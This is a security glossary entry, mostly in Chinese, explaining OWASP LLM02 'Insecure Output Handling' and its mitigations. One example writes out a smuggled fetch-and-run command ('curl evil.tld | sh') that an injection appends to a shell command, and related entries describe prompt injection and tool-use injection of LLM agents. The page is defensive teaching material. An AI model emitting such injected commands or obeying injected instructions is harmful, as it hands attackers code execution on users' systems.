Insecure Output Handling
Insecure Output Handling 是什么?
Insecure Output HandlingOWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF.
Insecure Output Handling is item LLM02 in the OWASP Top 10 for LLM Applications. It captures a deceptively simple mistake: treating model output as trusted text. When an application renders LLM responses in HTML, evaluates them as JavaScript, concatenates them into shell commands, executes them as code, or stuffs them into SQL, an attacker who can influence the prompt (directly or indirectly via retrieved content) controls whatever downstream sink consumes that output. The model becomes a confused-deputy that crosses trust boundaries on behalf of the attacker. Mitigations are conventional appsec hygiene applied to the LLM's egress: escape, sanitize, or template all output before HTML rendering; refuse to execute model-generated code outside a sandbox; validate structured outputs (e.g. JSON Schema, function-call argument types) before dispatch; require explicit allowlists for tools that take string arguments; and treat the LLM as an untrusted parser of intent, not a trusted producer of code.
● 示例
- 01
A markdown chatbot renders model output as HTML; an injection causes it to emit a malicious script tag that fires for every viewer.
- 02
An assistant returns a shell command that the app pipes into bash; a prompt injection turns 'list files' into 'list files; curl evil.tld | sh'.
● 常见问题
Insecure Output Handling 是什么?
OWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF. 它属于网络安全的 AI 与机器学习安全 分类。
Insecure Output Handling 是什么意思?
OWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF.
Insecure Output Handling 是如何工作的?
Insecure Output Handling is item LLM02 in the OWASP Top 10 for LLM Applications. It captures a deceptively simple mistake: treating model output as trusted text. When an application renders LLM responses in HTML, evaluates them as JavaScript, concatenates them into shell commands, executes them as code, or stuffs them into SQL, an attacker who can influence the prompt (directly or indirectly via retrieved content) controls whatever downstream sink consumes that output. The model becomes a confused-deputy that crosses trust boundaries on behalf of the attacker. Mitigations are conventional appsec hygiene applied to the LLM's egress: escape, sanitize, or template all output before HTML rendering; refuse to execute model-generated code outside a sandbox; validate structured outputs (e.g. JSON Schema, function-call argument types) before dispatch; require explicit allowlists for tools that take string arguments; and treat the LLM as an untrusted parser of intent, not a trusted producer of code.
如何防御 Insecure Output Handling?
针对 Insecure Output Handling 的防御通常结合技术控制与运营实践,详见上方完整定义。
Insecure Output Handling 还有哪些其他名称?
常见的别称包括: LLM02, Unsanitized LLM output。
● 相关术语
- ai-security№ 870
OWASP LLM Top 10
由 OWASP 维护的清单,列出对基于大型语言模型构建的应用最关键的十大安全风险。
- ai-security№ 969
提示词注入
通过向提示中夹带对抗性文本来覆盖 LLM 原有指令的攻击,使模型忽略安全限制或执行攻击者指定的操作。
- ai-security№ 586
间接提示词注入
提示词注入的变种,恶意指令被隐藏在第三方内容(网页、文档、邮件)中,由 LLM 通过检索、浏览或工具调用而读入。
- attacks№ 265
跨站脚本(XSS)
一种 Web 漏洞,攻击者可在其他用户浏览的页面中注入恶意脚本,使其在受害者浏览器中以该站点的来源身份运行。
- attacks№ 224
命令注入
用户输入未经过滤就传入操作系统 shell,导致应用程序执行攻击者提供命令的攻击。
- ai-security№ 1285
Tool-Use Injection
Attacks that manipulate an LLM agent's tool-calling layer — forging tool arguments, smuggling instructions through tool outputs, or coaxing the model into calling unsanctioned tools.